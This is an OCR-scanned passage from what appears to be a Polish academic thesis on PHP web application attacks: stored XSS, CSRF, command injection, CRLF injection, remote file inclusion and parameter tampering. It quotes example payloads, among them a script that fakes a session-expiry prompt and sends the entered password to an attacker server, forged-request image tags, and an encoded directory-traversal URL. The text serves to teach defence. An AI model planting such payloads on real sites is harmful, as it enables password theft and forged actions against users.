W przypadku ataku trwatego®, ztosliwy kod zostaje wklejony bezposrednio na strong i w
wyniku braku odpowiednich zabezpieczen zostaje zapisany takze w bazie danych. Ofiara
zostaje zaatakowana w momencie odwiedzenia witryny. Wtedy przegladarka wykonuje kod
wczesniej wstrzyknigty przez atakujacego [OWASPO4, s.11]. W praktyce atak ten dotyka
wszystkich, ktorzy odwiedzaja dana strong, przez co jego zakres jest o wiele wigkszy, a
konsekwencje o wiele grozniejsze niz w przypadku ataku bezposredniego. Jest takze
tatwiejszy do przeprowadzenia, poniewaz napastnik wcale nie musi wysyta¢ jakichkolwiek e-
maili, ani nikogo przekonywa¢ do wejécia na strong. Uzytkownicy sami wpadaja w pulapke
wykonujac zwyczajowe czynnosci na witrynie. Z drugiej strony atak trwaty jest tez tatwiejszy
do wykrycia, gdyz administrator i uzytkownicy moga odkry¢ w zrédlach wynikowej strony
ztosliwy kod i1 przedsigwzia¢ odpowiednie kroki. W przypadku ataku bezposredniego jest
inaczej, kod zostaje wstrzyknigty tylko jednokrotnie, bezposrednio po uruchomieniu
spreparowanego odnos$nika. Wrogi kod wykorzystywany w ataku trwatym moze wygladac¢
nastepujaco : [ScSh02, s.290]

<script>location.href="http://serwer atakujacego/czytaj haslo.php?haslo="+
prompt (“Skonczyt si¢ czas Twojej sesji. Wpisz hasto, aby
kontynuowaé.','"');</script>

3 W literaturze uzywa si¢ nastepujacych angielskojezyczne okre§len opisujace ten typ ataku : stored
[Alsh05a, s.95; OWASPO04, s.11], persistent [WASCO04a, s.25], a takze HTML Injection [Fuen05;
Pett04].
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Efektem dziatania tego skryptu jest wyswietlenie falszywego komunikatu o wygasnigciu

sesji. Uzytkownik jest proszony o podanie swojego hasta, po czym nastgpuj¢ przekierowanie

do serwera napastnika z hastem uzytkownika jako jednym z parametréw adresu.

@ Iniekcja wrogiego kodu

Atakujacy

@ Wykonanie wrogiego kodu

@ Woeijscie na stroneg

| Ofiara

@ Wejscie na stroneg

—a—

Strona Ofiara

S

@ Woejscie na stroneg

Ofiara

Rysunek 3: Przebieg ataku trwatego Cross Site Scripting
Zrédto: Opracowanie whasne.

Lista znacznikow oraz atrybutow HTML, ktore moga by¢ wykorzystane do

przeprowadzania ataku Cross Site Scripting, zostala przedstawiona w tabelach 2 i 3.

Znacznik Uzycie Zagrozenie

<SCRIPT> Osadzanie skryptow JavaScript, Wykonanie wrogiego kodu
Jscript, VBScript, itp.

<APPLET> Osadzanie apletow Javy Wykonanie wrogiego kodu

<EMBED> Osadzanie zewngtrznych obiektow. Wykonanie wrogiego kodu

<OBJECT> Kontrolki ActiveX, aplety, pluginy,
itp.

<XML> Osadzanie kodu XML. Wykonanie wrogiego kodu

<STYLE> Osadzanie instrukcji arkuszy stylow | Moze zawiera type=text/javascript
CSS. (arkusz stylow JavaScript)

Tabela 2: Znaczniki HTML, ktore moga by¢ wykorzystane do przeprowadzenia ataku XSS

Zrédto: Opracowano na podstawie [EURO05]
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- Wartos¢ . .
Atrybut Znaczniki Pierwotne przeznaczenie
atrybutu
href A, LINK Adres URL Odnosnik.
src FRAME, IFRAME, Adres URL Odnosénik do innego dokumentu
INPUT type=image, HTML lub obiektu, np. pliku
BGSOUND, IMG graficznego lub muzycznego.
dynsrc IMG Adres URL Odnosnik do filmu AVI.
lowsrc IMG Adres URL Odnosnik do pliku graficznego.
zdarzenia Niemal kazdy znacznik | Kod JavaScript | Wykonanie kodu, kiedy nastapi
JavaScript np. dane zdarzenie.
“onClick”
background BODY, TABLE, TR, Adres URL Odnoénik do obrazka uzywanego
TD, TH jak to.
style="backgr | Niemal kazdy znacznik | Adres URL Odnosnik do pliku uzywanego w
ound-image: stylach.
url(...)"”
style="behavi | Niemal kazdy znacznik | Adres URL Odnosnik do pliku uzywanego w
our:url(..)” stylach.
style="bindin | Niemal kazdy znacznik | Adres URL Odnosnik do pliku uzywanego w
g:url(...)" stylach.
style="width: | Niemal kazdy znacznik | Wykonywalny | Wyrazenie JavaScript dynamicznie
expression(.. kod dostosowujace szerokos¢
<) znacznika.
content="0;ur |META Adres URL Odno$nik do inego dokumentu
1=...” HTML.

Tabela 3: Atrybuty HTML, ktére moga by¢ wykorzystane do przeprowadzenia ataku XSS
Zrédto: Opracowano na podstawie [EURO0S5]

Jak wida¢, w ataku XSS moze by¢ uzytych wiele mozliwych elementdw poprzez
naduzycie ich pierwotnego przeznaczenia. Zagrozeniem zwiazanym ze znacznikami HTML
jest niemal zawsze wykonanie wrogiego kodu JavaScript. W przypadku, gdy wartoscia
atrybutu jest adres URL, mozliwe jest to dzigki uzyciu protokotu javascript, np. <a

href="javascript:kod”>odnosnik</a>.

Ostatnim etapem skutecznego ataku XSS jest wykonanie dodatkowych akcji przez
atakujacego. Rozumie si¢ tutaj miedzy innymi przygotowanie specjalnego serwera i skryptu,
ktéry bedzie przechwytywal informacje od niczego nie spodziewajacych si¢ uzytkownikow
[ScSh02, 5.290]. Ich celem mogtoby by¢ na przyktad zapisywanie wartosci ciasteczek w pliku
lub w bazie, a nast¢gpnie powiadomienie atakujacego o tym fakcie. W kolejnym kroku
uzytkownik moze by¢ przekierowany z powrotem na pierwotng strong. Co wigcej, przy

wykorzystaniu technologii Ajax caly proces odbywa si¢ dla ofiary zupeknie niezauwazony.

Opisany w tym punkcie schemat dziatania Cross Site Scripting wykorzystuje trzy

potencjalnie luki w bezpieczenstwie aplikacji internetowej [Gajd05, s.95]:
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(1) aplikacja wpuszcza ztosliwy kod — brak weryfikacji danych pochodzacych od osoby
atakujacej,

(2) aplikacja wypuszcza zto§liwy kod — brak ponownej walidacji, czyli weryfikacji
danych pochodzacych z bazy danych zanim zostana przekazane do przegladarki i

wyswietlone uzytkownikowi,

(3) przegladarka klienta wykonuje zto§liwy kod — ograniczona implementacja funkcji

ochronnych w przegladarkach dostgpnych na rynku.

Istotne jest, ze kazda kolejna luka jest wynikiem braku odpowiednich zabezpieczen
eliminujacych wczesniejsze podatnosci. Najwazniejsza jest wigc odpowiednia ochrona
systemu w momencie przyjmowania danych zewngtrznych. Jesli zostana zaimplementowane
odpowiednie funkcje zabezpieczen na tym poziomie to programista nie musi si¢ juz martwi¢ o
to, jakiej przegladarki internetowej uzywaja osoby odwiedzajace strong oraz w jakim stopniu

chroni ich ona przed atakami XSS.

Cross Site Request Forgeries

Atak typu Cross Site Request Forgeries (CSRF) polega na wykorzystaniu przegladarki
internetowe] uzytkownika (ofiary ataku) do wysylania zadan HTTP bez jego wiedzy [John04,
s.22]. W polskiej literaturze nie wystgpuje odpowiednik nazwy tego ataku. Prawdopodobnie
przyczyna takiego stanu rzeczy jest fakt, ze przez wiele zrodet, takze zagranicznych, technika
ta jest zupelnie pomijana. Tymczasem tatwo$¢ z jaka mozna wykona¢ CSRF sprawia, Ze jest

on jednym z grozniejszych sposobow atakowania stron internetowych.

Nie nalezy myli¢ CSRF z opisanym wczesniej XSS. O ile XSS wykorzystuje zaufanie,
ktore uzytkownik ma do strony, o tyle CSRF wykorzystuje zaufanie, ktore strona ma do
uzytkownika [Shif03, s.56]. Nie przeszkadza to jednak temu, aby techniki te z powodzeniem
byly taczone.

Cross Site Request Forgeries wykorzystuje sposéb w jaki przegladarki stron WWW
przetwarzaja witryny internetowe. Przegladarka po odebraniu kodu HTML witryny, analizuje
go 1 pobiera osobnymi zapytaniami (zadaniami) kolejno wszystkie zasoby, jakie sa konieczne
do poprawnego wyswietlenia strony, np. pliki stylow, pliki ze skryptami oraz obrazy [Gajd05,
s.95]. Przykltadowo po napotkaniu pliku graficznego wysylane jest calkowicie odrgbne
zadanie w celu jego pobrania. Problem polega na tym, ze przegladarki czgsto wcale nie

sprawdzaja czy dany zasob jest tym, czym powinien by¢, czyli czy np. pobierany plik
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graficzny jest rzeczywiscie plikiem graficznym, a nie skryptem JavaScript czy catkowicie

inng strong internetowa.

Na przyklad napastnik moglby wstrzykna¢ w strong nastgpujacy wrogi kod : [Shif03,
s.58]

<img src="http://stocks.example.org/buy.php?symbol=SCOX&shares=1000" />

W efekcie, po odwiedzeniu tej strony, kazdy zalogowany uzytkownik nieswiadomie
nabytby duza ilo$¢ udziatow pewnej spotki. W tym samym czasie na stronie zostalaby
wyswietlona tylko ikona symbolizujaca niepoprawny format pliku graficznego. Proces ten
zostal przedstawiony na rysunku nr 4. Istotne jest, ze strony WWW, szczegdlnie fora
internetowe, czesto umozliwiaja umieszczanie obrazkdw pochodzacych z zewngtrznych
serwerow, w wyniku czego atakujacy nie musi ucieka¢ si¢ do wyszukanych sposob

umieszczenia ztosliwego tacza na stronie.

(1) Zadanie HTTP (3) Atak CSRF

GET fHTTPM.1 GET /buy.php?symbol=5C0X&shares=1000 HTTP/1.1

Hoat: www.example.org Host: stocks example.org
~— :
—— —

www.example.org Ofiara stocks.example.org

(@) Odpowiedz HTTP

HTTP/1.1 200 OK
Contenl=Type: lexthim]
Content-Length: 1234

<html=
=zlmg sre="htlp:"stocks. example.org/buy.php?symbol=SCOX&shares=1000" /=

<himl=

Rysunek 4: Przebieg przyktadowego ataku typu Cross Site Request Forgeries
Zrédto: [Shif03, 5.58]

Cross Site Request Forgeries moze by¢ takze wykorzystany do przeprowadzania
czynno$ci administracyjnych bez koniecznos$ci przechwytywania sesji uzytkownika czy
tamania hasel dostgpu. Wystarczy, ze administrator systemu wejdzie na podstrong, na ktorej

znajduje si¢ spreparowany odno$nik w ramach znacznika <img> i nie musi to by¢ wcale ta
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sama witryna wzgledem ktorej dokonywany jest atak. Jak wykazat C. Shiflett [Shif03, s.57] w
ten sposéb podatne na CSRF sa takze systemy intranetowe (zob. rysunek 5). Na
zaprezentowanym rysunku administrator systemu przeglada zasoby Internetu z sieci lokalnej,
ktora oddzielona jest dobrze skonfigurowana zapora ogniowa (firewall). Zostaje skierowany
(np. atakujacy moze wiedzie¢, ze administrator czgsto odwiedza jakie$ forum i umiesci¢ tam
swo0j zlosliwy kod) na odpowiednio strone zawierajaca osadzony odnos$nik w ramach
znacznika obrazka. Odno$nik ten odsyla administratora do aplikacji znajdujacej si¢ w sieci
lokalnej — w niniejszym przyktadzie oznacza on dokladnie zwolnienie z pracy osoby o
podanym identyfikatorze. Poniewaz administrator takze znajduje si¢ w ramach sieci lokalnej
akcja zostanie wykonana i w ten sposob nieswiadomie dokona on niepozadanej operacji,
nawet tego nie zauwazajac. Napastnikowi uda si¢ przeprowadzi¢ atak bez koniecznosci

tamania jakichkolwiek zabezpieczen w ramach sieci lokalnej, z ktérej taczy si¢ administrator.

(1)Zadanie HTTP

GET /HTTP/1.A
Hosl: www.example.org

| sieé lokalna

www.example.org Zapora ogniowa

(firewall)

Administrator systemu

Atak
@ CSRF

(2 Odpowiedz HTTP

HTTRM.1 200 OK
Content-Length: 1234

<html=
T

=lmg sra="htip:152,168.0.1'admInterminate_employee.phpTemployee_ld=123" /=

<html=

192.168.0.1

Rysunek 5: Przyktad ataku Cross Site Request Forgeries na aplikacj¢ znajdujaca si¢ w sieci
lokalnej chronionej zapora ogniowa

Zrédto: [Shif03, s.58]

Do przeprowadzenia ataku CSRF mozna wykorzysta¢ nie tylko metody z podstawionymi
obrazkami w znacznikach <img>, ale takze dowolny inny znacznik, ktérego przetwarzanie
wiaze si¢ z automatycznym pobieraniem wskazanego zasobu [Alsh06a, s.54]. Obecnie nie

ma mozliwosci zabezpieczenia si¢ przed dzialaniem przegladarek [Gajd05, s.96], dlatego to
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programisci stron internetowych powinni podja¢ odpowiednie $rodki ostroznosci na poziomie

aplikacji.

Iniekcja polecen systemowych

W PHP dostepny jest szereg funkcji umozliwiajacych dostep do zasoboéw systemowych,
takich jak polecenia systemu operacyjnego, skrypty powtoki oraz zewngtrzne programy

wywotywane z poziomu systemu operacyjnego (zob. tabela 4).

Zagrozenie pojawia si¢ wtedy, gdy polecenia systemowe lub tez ich argumenty tworzone
sa na podstawie danych wejsciowych pochodzacych z zewnatrz, od uzytkownika [Lour02].
Jesli atakujacemu uda si¢ znalez¢ luke w funkcjach filtrujacych te dane lub co gorsza takie
funkcje w ogdle nie sa zaimplementowane, to w efekcie atakujacy moze uzyskaé¢ mozliwosé

[OWASP02] :

* modyfikacji polecen systemowych,
* modyfikacji argumentdéw przekazywanych w poleceniach systemowych,
* wykonania dodatkowych polecen i skryptéw powtoki,

* wykonania dodatkowych polecen w ramach wykonywanego polecenia.

Funkcja Opis dziatania
system() Wykonuje zewngtrzny program i wyswietla wynik przez
niego zwrdcony.
exec() Wykonuje zewngtrzny program i zwraca wynik.
shell exec() Wykonuje polecenie systemowe uzywajac powloki (shella) i

zwraca wynik.. Zamiast tej funkcji mozna uzy¢ operatoréw
wykonania polecenia systemowego (~ 7).

passthru() Wykonuje zewngtrzny program i wyswietla wynik w postaci
surowej. Uzywane kiedy wynikiem sa dane binarne, np. plik
graficzny.

popen() Otwiera potok do procesu uruchomionego przez rozwidlenie

polecenia podanego w argumencie funkcji.

proc_open() Funkcja w swoim dziataniu bardzo podobna do popen(),
jednakze oferuje o wiele wigksza funkcjonalnos¢.

Tabela 4: Funkcje PHP pozwalajace na wykonywanie polecen systemowych
Zrédto: Opracowanie whasne na podstawie [WWW1]

Konsekwencje iniekcji polecen systemowych moga by¢ bardzo powazne. Uzyskanie
dostepu do powtoki systemu otwiera przed napastnikiem wiele nowych drog ataku, nie tylko

na sama witryng, ale i serwer WWW. Takze zatarcie §ladow po wilamaniu staje si¢ wtedy o
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wiele tatwiejsze. Ten typ ataku moze prowadzi¢ nawet do przejecia serwera przez atakujacego

[SZWi06, 5.264].

W literaturze angielskiej iniekcja polecen systemowych najczgsciej wystepuje pod nazwa
Command Injection [Alsh05a, s.101; Shif05a], ale mozna spotka¢ takze inne okres$lenia, takie
jak Shell Injection [PiBe05, s.126], OS Commanding [WASCO04a, s.35], OS Command
Injection [WASCO04b] oraz Direct OS Commands [OWASP02, s.39]).

Iniekcja znaku konca wiersza

Aplikacja internetowa czgsto uzywa lub zapisuje dane tabelaryczne, ktore oddzielane sa
znakiem konca wiersza, np. wpisy w dzienniku zdarzen, naglowki HTTP czy tez naglowki
wiadomosci elektronicznej. Iniekcja znaku konca wiersza pozwala atakujacemu na dodanie
wilasnych danych lub nagléwkow. W zaleznosci od rodzaju podatnosci wystepujace] w
aplikacji, moze by¢ wykorzystana migdzy innymi do zatruwania buforéw sieciowych (web
cache poisoning), zatruwania buforow przegladarki (browser cache poisoning),

przeprowadzenia ataku Cross Site Scripting (XSS) oraz falszowania treci strony [Diab05].

Oryginalna angielska nazwa - CRLF Injection - pochodzi od pierwszych liter nazw
znakow uzywanych do wskazania konca obecnego i poczatku nastgpnego wiersza w systemie
operacyjnym Windows, czyli znaku powrotu karetki (Carriage Return, CR, \r) oraz znaku
wysuwu wiersza (Line Feed, LF, \n). W systemach unixowych 1 linuksowych do wskazania
konca linii wystarczy znak wysuwu wiersza, dlatego okre$lenie CRLF nalezy uznaé za

niezbyt wlasciwe.

Specyficznymi odmianami atakéw polegajacych na wstrzykiwaniu znaku konca wiersza
sa HTTP Response Splitting oraz iniekcja adresow e-mail (E-mail Injection). Zyskaly one na
tyle duza popularno$¢, ze w literaturze poswigcono dla nich o wiele wigcej miejsca, niz na

sam CRLF Injection.

Atak typu HTTP Response Splitting moze pojawi¢ si¢ tam, gdzie skrypt umieszcza dane
pochodzace od uzytkownika w nagtowkach odpowiedzi HTTP [Klei04, s.6]. Szczegdlnie
podatne sa tutaj nagtéwki Location® oraz Set-cookie’, np. moga one zosta¢ ustawione w

ten sposob, ze aplikacja ustawi ciasteczka ze swojego wlasnego serwera, a nastgpnie

4 Pole to okre$la nowe potozenie dokumentu [Wong00, s.64] i najczesciej jest uzywane do

przekierowania na inng podstrong.

> Pole to definiuje nazwe i wartos$¢ ciasteczka (ang. cookie) zwiazanego z danym adresem URL
[Wong00, s. 66].
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przekieruje do innej strony [Harn02]. Na szcze$cie, poczawszy od wersji PHP 4.4.2 1 5.1.2,
funkcja header(), ktora sluzy do wysylania naglowkow, zostala zaktualizowana w ten
sposoOb, ze uniemozliwia wykonanie HTTP Response Splitting. Jednakze aplikacje oparte na

starszych wersjach PHP wciaz moga by¢ podatne na ten rodzaj ataku.

Iniekcja adreséw e-mail wiaze si¢ z dolaczaniem wlasnych nagtowkoéw wiadomosci. Z
reguly polega ona na dodaniu przez atakujacego wlasnych nagldéwkow cc lub Bec, ktore stuza
do wysytania kopii wiadomosci na wskazane w nich adresy poczty elektronicznej. Pozwala to
napastnikowi na wysytanie niechcianej poczty (spamu). Jak wigc wida¢, celem tej odmiany
ataku nie jest strona WWW sama w sobie. Witryna staje si¢ tylko uzytecznym narzedziem w
rekach krakera.

Pozostale ataki zwigzane z wykonaniem wrogiego kodu

W punkcie tym zostanag omoOwione ataki, ktore nie doczekaly si¢ swojej odrgbnej
powszechnie akceptowalnej nazwy. Nie znaczy to jednak, ze sa mniej istotne czy tez mniej
szkodliwe. W wyniku ich dzialania napastnik moze doprowadzi¢ do nieuprawnionego
wykonania zarowno plikow lokalnych, jak i1 plikow zdalnych, a takze moze wykras¢ poufne
informacje, zmodyfikowa¢ dane znajdujace si¢ w bazie danych, zmieni¢ zawarto$¢ plikow i
skryptow, a nawet przeja¢ caty system [AlshO5a, s.87]. W niektorych zrodtach [AlshO5a;
Shif05a] dla przedstawionych ponizej technik mozna spotka¢ si¢ z okresleniem Code
Injection, jednakze jest to termin zbyt ogdélny. Mozna bowiem pod nim rozumie¢ wszelkie
ataki polegajace na iniekcji i wykonaniu wrogiego kodu, co jest mylace 1 wprowadza
niepotrzebne zamieszanie.

Do pozostatlych zagrozen zwiazanych z wykonaniem wrogiego kodu naleza :

* przekazanie wrogiego kodu do funkcji interpretujacych i wykonujacych kod PHP,
* modyfikacja $ciezki dostgpu lub nazwy pliku,

* przetworzenie wrogiego skryptu z obcego serwera,

* modyfikacja nazw dynamicznie tworzonych zmiennych lub funkc;ji.

Funkcje eval() oraz preg replace() (z modyfikatorem /e) to funkcje interpretujace
1 wykonujace kod PHP. Dziatanie eval() jest do$¢ jasne i nie wymaga szerszych objasnien.
Mozliwo$¢ umieszczenia wrogiego kodu w argumencie tej funkcji stwarza przed atakujacym
nieograniczone mozliwos$ci ataku, pozwalajac mu na wykonanie dowolnych instrukcji jezyka

PHP. Funkcja preg replace() jest funkcja zastgpujaca, ktorej zadaniem jest zamienianie
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podciagdéw innym ciagiem znakoéw zgodnie z podanym wzorcem, bgdacym wyrazeniem
regularnym. Moze by¢ ona podatna na przedstawiany tu rodzaj ataku tylko wtedy, gdy
ustawiony zostal modyfikator /e. Modyfikator ten sprawia, ze ciag zastgpujacy jest
przetwarzany tak, jakby byt kodem PHP [GBROS, s.311]. W praktyce interpreter PHP
dokonuje tutaj wewngtrznego odwotania do funkcji eval() [AlshO5a, s.97], wigc podatnos¢

moze by¢ wykorzystana na takich samych zasadach jak w przypadku tejze funkcji.

Jedna z grozniejszych technik, polegajacych na wykonaniu wrogiego kodu, wymusza na
aplikacji pobranie i przetworzenie wrogich skryptow PHP pochodzacych z obcego serwera
[AlshO5a, s.89]. Jest to mozliwe, gdy atakujacemu uda si¢ zmodyfikowac §ciezke dostgpu lub
nazwe¢ pliku uzywana wewnatrz takich funkcji jak require(), include(), file(),
fopen() czy readfile(). W rezultacie atakujacy zyskuje mozliwo$¢ nie tylko dolaczenia
wlasnych zewnetrznych skryptow, ale takze plikéw i skryptow lokalnych, co moze prowadzié¢
do ujawnienia poufnych danych. Atak ten czgsto spotykany jest pod nazwa Directory

Traversal.

Kolejna technika, polegajaca na przetworzeniu i wykonaniu wrogiego skryptu z obcego
serwera, jest mozliwa gdy witryna uzywa do swojego dziatania skryptow zdalnych.
Koncepcja dofaczania plikow zdalnych jest niebezpieczna sama w sobie, poniewaz zdalna
strona, z ktorej pobierany jest kod, moze zosta¢ przejeta w wyniku innego ataku lub
polaczenie internetowe moze zosta¢ sfatszowane, co w efekcie sprawia, ze aplikacja uzyje
nieznanego 1 potencjalnie wrogiego kodu [Lour02]. Niewatpliwie jest to powazna luka w

systemie zabezpieczen witryny internetowej.

Ostatnia metoda ataku przedstawiona w tym punkcie wykorzystuje fakt, ze PHP pozwala
na dynamiczne tworzenie oraz wywotlywanie zmiennych (przez uzycie podwojnego znaku
dolara $$) i1 funkcji (poprzez $zmienna z nazwa funkcji() Iub za pomoca funkcji
call user_ func() oraz call user func array()). Przy niewystarczajacych
zabezpieczeniach moze to umozliwi¢ atakujacemu wywolywanie innych zmiennych i funkcji
niz zamierzone. Zasigg tego problemu jest dos¢ ograniczony, poniewaz wywotane moga by¢
tylko funkcje istniejace w systemie, a parametry przekazywane do funkcji pozostaja takie
same, jak te zdefiniowane przez programiste [Alsh05a, s.95]. Mimo to, nie powinien by¢
lekcewazony, gdyz potaczony z Cross Site Scripting czy iniekcja kodu SQL, moze wyrzadzic¢
dos¢ dotkliwe szkody.
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ATAKI POLEGAJACE NA MANIPULOWANIU PARAMETRAMI

Dziatanie kazdej aplikacji internetowej oparte jest na parametrach przesytanych
pomigdzy przegladarka uzytkownika a strong WWW. Jesli parametry te nie sa odpowiednio
weryfikowane lub przechowywane sa w nich dane kluczowe dla dziatania aplikacji, to
atakujacy zyskuje mozliwos$¢ przeprowadzenia skutecznego ataku poprzez modyfikacj¢ tych
parametréw. Manipulowanie parametrami moze by¢ przeprowadzone przy uzyciu adresu

URL, ciasteczek (cookies), pol formularza, a takze nagtowkow HTTP.
Manipulowanie lancuchem zadania

Lancuch zadania (adres URL) powszechnie uzywany jest do wskazania konkretnej strony
WWW. Zagrozenie polega na tym, ze atakujacy moze samodzielnie zmodyfikowa¢ sktadniki
adresu URL 1 w ten sposob uzyska¢ dostep do poufnych danych albo je nieprawidtowo
zmodyfikowaé [SzWi06, s.64]. Wlamywacz moze takze doprowadzi¢ do wys$wietlenia w
oknie przegladarki btedéw wynikajacych z bledu jezyka skryptowego czy tez
nieprawidlowego zapytania kierowanego do bazy, co moze mu pozwoli¢ na zebranie
informacji potrzebnych do przeprowadzania wlamania [Grze04, s.61]. Poza tym,
manipulowanie tancuchem zadania moze by¢ z powodzeniem wykorzystane przy
dokonywaniu wielu innych rodzajow ataku na aplikacje internetowe, od Cross Site Scripting i
iniekcji kodu SQL do prob ujawnienia kodu zrodtowego 1 innych poufnych danych.

Typowy scenariusz ataku poprzez manipulowanie adresem URL wyglada nastgpujaco
[SzWi06, s.64] :

(1) Uruchamianie witryny i zapisywanie wysylanych do serwera kolejnych adreséw URL.

(2) Analiza budowy witryny na podstawie zebranych adreséw. W szczegdlno$ci brane pod
uwage sa nazwy 1 przeznaczenie formularzy oraz poszczego6lnych parametrow.

(3) Sprawdzanie reakcji aplikacji na bledne dane poprzez eksperymentowanie z
najrozniejszymi, czgsto blednymi danymi. Wszelkie nietypowe reakcje, w
szczegolnosci komunikaty btedow, pozwalaja sporo dowiedzie¢ si¢ o budowie i

dziataniu witryny.
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Dodatkowy problem stanowi fakt, ze ten sam adres URL moze by¢ przedstawiony pod
wieloma graficznie r6znymi, a przy tym semantycznie rownowaznymi, postaciami. W celu
przygotowania odpowiednio spreparowanego ciagu znakoéw najczesciej wykorzystuje sig
kodowanie ASCII i kodowanie UNICODE.

Kodowanie ASCII pozwala na zapisanie dowolnego znaku w adresie URL w postaci
dwucyfrowej liczby poprzedzonej znakiem procenta (%). Liczba ta jest szesnastkowy
odpowiednik kodu danego znaku w tabeli zestawu znakow ASCII. Przykladowo adresy
http://www%2Efirma%2Ecom%2Fdane 1 http://www.firma.com/dane wskazuja na ten
sam folder, tyle ze w pierwszym przypadku znak kropki (.) zostat zastapiony kodem %2E, a
znak ukos$nika (/) kodem %2F [Szwi06, s.79]. Ponadto mozliwe jest zapisanie jednego znaku
wielokrotnie wigksza liczba kodoéw, np. znak uko$nika (/), moze by¢ przedstawiony w
nastgpujacych réwnowaznych postaciach : $252F, %2%66 $25%02%66 [Szwi06, s.79;
Ollm02], a to tylko kilka przypadkow. W praktyce ilos¢ mozliwych kombinacji jest bardzo

wysoka.

Podobnie do kodowania ASCII, takze kodowanie UNICODE pozwala atakujacemu na
zapisanie tych samych adreséw na wiele rdznych sposobow, np. w najbardziej
rozpowszechnionym obecnie standardzie UTF-8 adres URL moze wyglada¢ nastgpujaco :

http://www.firma.com?var=..%CO%AF../bin/1s%200al [Szwi06, s.79].

Mozliwo$¢ przedstawienia adresow URL pod wieloma réznymi postaciami powoduje, ze
filtry 1 zapory oparte na sygnaturach staja si¢ bezradne i nie powinny by¢ one traktowane jako
skuteczny s$rodek ochrony przed atakami na witryny internetowe. Problem ten jeszcze
pogorsza fakt, ze modyfikacja sktadnikow adresu URL jest czynno$cia bardzo tatwa. W

rezultacie atak ten jest jednym z najprostszych do przeprowadzenia.

Manipulowanie polami formularza

Dane podawane w formularzach webowych zazwyczaj przesytane sa metoda POST i nie
sa umieszczane w adresie URL. Nie znaczy to jednak, ze sa odporne na proby modyfikacji pol
i ich warto$ci. Atakujacy moze bowiem pobra¢ kod HTML formularza, a nast¢pnie
zmodyfikowa¢ go 1 wysta¢ zadanie z wlasnego komputera albo wstrzykna¢ odpowiednio
przygotowany kod HTML formularza bezpo$rednio na strong. W praktyce manipulowanie
polami formularza opiera si¢ na tym samych zasadach co manipulowanie fancuchem zadania.

W obu przypadkach napastnik najpierw analizuje budow¢ atakowanej strony, a nastgpnie
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wysyla spreparowane zadania HTTP w celu poznania lub wymuszenia pozadanego

zachowania witryny.

Atakujacy moze przerobi¢ formularz HTML wedlug wlasnego uznania, np. usunaé
ograniczenie iloSci wprowadzanych znakoéw (atrybut maxlength), ominaé¢ kontrolg
poprawnosci danych po stronie klienta, zmieni¢ warto$ci ukrytych pol (typ pola hidden) lub
zmodyfikowa¢ typy pol formularza [Shif05a]. Na szczegdlng uwage zastuguja pola ukryte,
ktére stanowia wygodny sposob na przekazywanie réznych danych pomigdzy kolejnymi
podstronami. Zagrozenie pojawia si¢ wtedy, gdy sa to dane kluczowe, takie jak np. cena
produktu czy poziom uprawnien. Konsekwencje modyfikacji tych parametrow przez
napastnika sa oczywiste. Tego typu bledy znajduja si¢ nawet w duzych, komercyjnych
aplikacjach WWW [SzWi06, s.73].

Manipulowanie naglowkami zgdania HTTP

Nagtowki zadania HTTP stuza do przekazywania serwerowi przez klienta informacji o
sobie 1 swojej konfiguracji oraz preferowanych formatach dokumentow [Wong00, s.53].
Problem polega na tym, ze analogicznie do wszystkich innych informacji pochodzacych od
klienta, naglowki HTTP moga by¢ zmodyfikowane przez napastnika [BaKl02, s.8]. Co
prawda przegladarki internetowe z reguty nie umozliwiaja zmiany wartosci nagtowkow, lecz
atakujacy moze napisa¢ wiasny skrypt wysytajacy zadania HTTP lub skorzysta¢ z jednego z
darmowych i ogoélnie dostepnych serwerow Proxy, ktore umozliwiaja modyfikacje dowolnych
danych wysylanych z przegladarki [OWASPO02, s.46]. Zagrozenie jest realne, tymczasem w
jezyku PHP wartosci pol nagtowkow HTTP, obok wielu innych parametrow, sa umieszczone
w tablicy globalnej $ SERVER, ktorej nazwa moze sugerowa¢ o tym, ze pochodza one z
bezpiecznego zrddla. Niestety poprawnos¢ zapisanych w tych polach nagtowkow nie jest
automatycznie sprawdzana [Szwi06, s.71], przez co powinny by¢ traktowane jako potencjalne
zagrozenie. Stanowi to problem szczegélnie jesli naglowki te sa wykorzystywane dla
wzmocnienia bezpieczenstwa. Przykladowo naglowek Referer moze by¢ uzyty do
sprawdzania czy zadanie zostalo wystane z wlasciwiej podstrony. Celem jest przeciwdziatanie
zapisywaniu witryny na dysk, a nastgpnie modyfikacji formularza 1 wystania go z wlasnego
komputera przez atakujacego [OWASPO02, s.46]. Jednak fakt, ze warto$¢ nagléwka, na
ktorym opiera si¢ to zabezpieczenie, moze by¢ tatwo zmodyfikowane, sprawia ze osiagnigto
tutaj efekt odwrotny od zamierzonego — umozliwiono przeprowadzenie ataku tam, gdzie ze

wzgledu na zaimplementowane funkcje ochronne, nikt si¢ tego nie bgdzie spodziewat.
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Manipulowanie wartosciami ciasteczek

Mechanizm ciasteczek (cookies) opiera swoje dzialanie o niewielkie pliki tekstowe,
skladowane na komputerze uzytkownika [Grze04, s.61]. Poprawno$¢ zapisanych w
ciasteczkach danych nie jest automatycznie sprawdzana — zadne sumy czy kody kontrolne nie
sa zapisywane razem z danymi, dlatego pozwala nie tylko odczyta¢, ale réwniez
zmodyfikowaé plik ciasteczka, zmieniajac warto$ci parametréw czy dopisujac nowe
parametry 1 ich wartosci [SzWi06, s.70]. Podobnie jak wspomniane w niniejszym punkcie
adresy URL, pola formularzy oraz nagtowki HTTP, jako dane pochodzace z zewnatrz, takze

cookies nie powinny by¢ uzywane w aplikacji bez wczesniejszej filtracji 1 walidacji.
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Z AGROZENIA ZWIAZANE Z UJAWNIENIEM POUFNYCH INFORMACJI

Informacja jest podstawowym elementem kazdego obecnego internetowego systemu
informatycznego. Jesli potencjalny kraker jest w stanie uzyska¢ nieuprawniony dostgp do
danych 1 zasobow, ktére powinny pozosta¢ poufne, to pojawia si¢ zagrozenie dla

bezpieczenstwa catego systemu.
Wyciek informacji

Wyciek informacji (Information Leakage) zwiazany jest z tymi elementami systemu
informatycznego, ktére moga dostarczy¢ atakujacemu szczegdtowych informacji na temat
reakcje na rozne dzialania, moze takze skorzysta¢ z pomocy réznych narzedzi, chociazby
wyszukiwarek internetowych. Informacje te czesto bywaja kluczowe dla skutecznos$ci ataku.

Stabymi punktami bedacymi zazwyczaj przyczyna tego typu wycieku informacji sa :

* Komunikaty btedéw i1 komunikaty systemowe — te komponenty aplikacji, ktére maja
dostep do jawnej postaci danych, umieszczaja je w zglaszanych przez siebie
komunikatach, np. komunikaty zapisywane w dziennikach zdarzen [SzZWi06, s.136].
